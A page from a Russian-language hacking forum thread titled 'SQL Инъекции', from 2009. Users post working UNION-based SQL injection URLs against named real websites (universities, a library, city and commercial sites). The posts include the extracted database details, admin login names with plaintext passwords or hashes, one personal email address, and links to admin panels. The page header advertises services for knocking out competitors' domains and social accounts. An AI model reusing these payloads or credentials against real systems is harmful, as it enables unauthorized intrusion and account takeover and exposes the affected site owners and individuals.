SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 774 из 1602

774

Опции темы

Поиск в этой теме

Опции просмотра

17.02.2009, 18:37

z00MAN

Постоянный

Регистрация: 20.11.2008

Сообщений: 406

С нами: 9196401

Репутация: 930

Код:

http://www.iinet.com/support/answer.php?id=-17'+union+select+1,2,concat(user(),0x3a,database(),0x3a,version()),4,5,6,7,8,9,10,11/*

user(): infinityinternet@web08.pacifier.net
database(): iinetcom
version(): 4.0.25

PR=5
тИЦ=250

𝕏 Twitter Reddit Telegram Копировать ссылку

17.02.2009, 19:41

edichka

Новичок

Регистрация: 31.01.2009

Сообщений: 22

С нами: 9092536

Репутация: 34

Посетите Кэмбридж =) Pr 6

http://visitcambridge.org

http://www.visitcambridge.org/unique.php?id=-3+union%20select%201,2,3

Database Version: 5.0.22
Database name: visitcambridge
User name: visitcambridge@localhost

Логинка : www.visitcambridge.org/cms

frankiem::::happyfeet::::frankie.mcghee@cambridge. gov.uk

17.02.2009, 21:26

Napas

Новичок

Регистрация: 30.11.2008

Сообщений: 15

С нами: 9181428

Репутация: 16

www.atlantic-university.org

Код:

https://www.atlantic-university.org/home.php?CopyID=-111+union+select+1,2,3,4,5,login,pwd+from+users/*

4.1.25-Debian_mt1-log

одменка - https://www.atlantic-university.org/login/
webmaster:n0m3@+p1@

kennedy.byu.edu

Код:

http://kennedy.byu.edu/isp/print.php?id=-219'+union+select+1,2,3,4,5,cast(concat(version(),0x2f,user())+as+binary),7,8/*

4.1.7-nt

www.clarkson.edu

Код:

http://www.clarkson.edu/news/print.php?id=-1877'+union+select+table_name,null+from+information_schema.tables+where+table_name+not+in+('body','comments','D99_Tmp','Headlines','Headlines$','News_release','Paragraphs','Paragraphs$','Sysdiagrams','User12')--+

17.02.2009, 21:41

f1ng3r

Участник форума

Регистрация: 14.01.2009

Сообщений: 257

С нами: 9116712

Репутация: 688

PR - 5

Код:

http://www.mountain-riders.org/_news/news.php?id=-1+union+select+1,2,3,concat_ ws(0x3a,version(),database( ),user()),5,6,7,8,9--

Database Version : 4.0.25-standard-log
Database name : mountainriders
User name : mountainriders@10.0.63.118

не даёт она себя больше проскулить

17.02.2009, 22:17

Kraneg

Участник форума

Регистрация: 30.08.2008

Сообщений: 132

С нами: 9314306

Репутация: 325

uaflibrary.us - PR6

Код:

http://uaflibrary.us/onlinedatabases/ui/resource.php?id=276276%27+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,version(),user(),database()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*

DB_Ver:5.0.27-max-log
DB_User:rasmusonlib@localhost
DB:uafresources
5 ветка, просмотрев таблицы видим что есть еще WordPress в бд wp_rasmusondbs и табличка USERS в uafresources
зайти в вордпресс можно тут:

Код:

http://uaflibrary.us/blogs/highered/hec/wp-login.php

А вот к чему относится USERS не нашел(плохо искал наверное) =)
Вытаскиваем админа блога

Код:

http://uaflibrary.us/onlinedatabases/ui/resource.php?id=276276'+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,user_login,user_pass),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+FROM+wp_rasmusondbs.wp_users/*

admin:b29971a4ef9bd14d770bae9eefd5318d

17.02.2009, 22:18

-m0rgan-

Постоянный

Регистрация: 29.09.2008

Сообщений: 553

С нами: 9270510

Репутация: 519

Код:

http://www.metropolis.ur.ru/dop.php?id=-1+union+select+concat_ws(0x3a,login,password),2,3,4+from+mtr_admin+--+

логин/пасс:

Код:

metro:370df69f54fc2368

--------------------------------------------------------
The End!

17.02.2009, 23:44

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

Отправить сообщение для Gorev с помощью Yahoo

http://www.mormota.ro/index.php?tart=101&alm=4&produs=1498+UNION+SELECT+ 1,2,3,concat_ws(0x3a,version(),database(),user()), 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20&cont=pscout

Database Version: 5.0.68-log
Database name: mormota
User name: mYmor@localhost

17.02.2009, 23:56

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Код:

http://www.santillana.com.gt/grupo/qs.php/?id=-14+union+select+1,version(),3/*

4.1.25-Debian_mt1-log

PR: 4

18.02.2009, 00:11

Rubaka

Участник форума

Регистрация: 02.09.2007

Сообщений: 292

С нами: 9837719

Репутация: 466

http://www.dnkcity.dp.ua/contest/viev.php?id=82+UNION+SELECT+1,2,3,4,concat(user(), 0x3a,version()),6,7,8,9,10,11,12+LIMIT+1,1/*

есть PHPBB

Database Version: 5.0.45-log
Database name: dnkcityd_dnkcity
User name: dnkcityd@localhost

#10

18.02.2009, 00:29

Assembler

Участник форума

Регистрация: 01.09.2007

Сообщений: 203

С нами: 9838057

Репутация: 302

Как вы думаете какой лучший спозоб защиты от взлома???

Код:

http://mzagzog.org/index.php?pg=say.php&pag=-1%20union%20select%201,concat_ws(0x3a,user_name,pass)%20from%20admin--

Сайт взломан
elassal:lookat9095 (логин пароль)
Админка
http://mzagzog.org/admin/
Логин и пароль подходят к админке... (А зайдите туды и скажите все таки какой способ защиты лучший))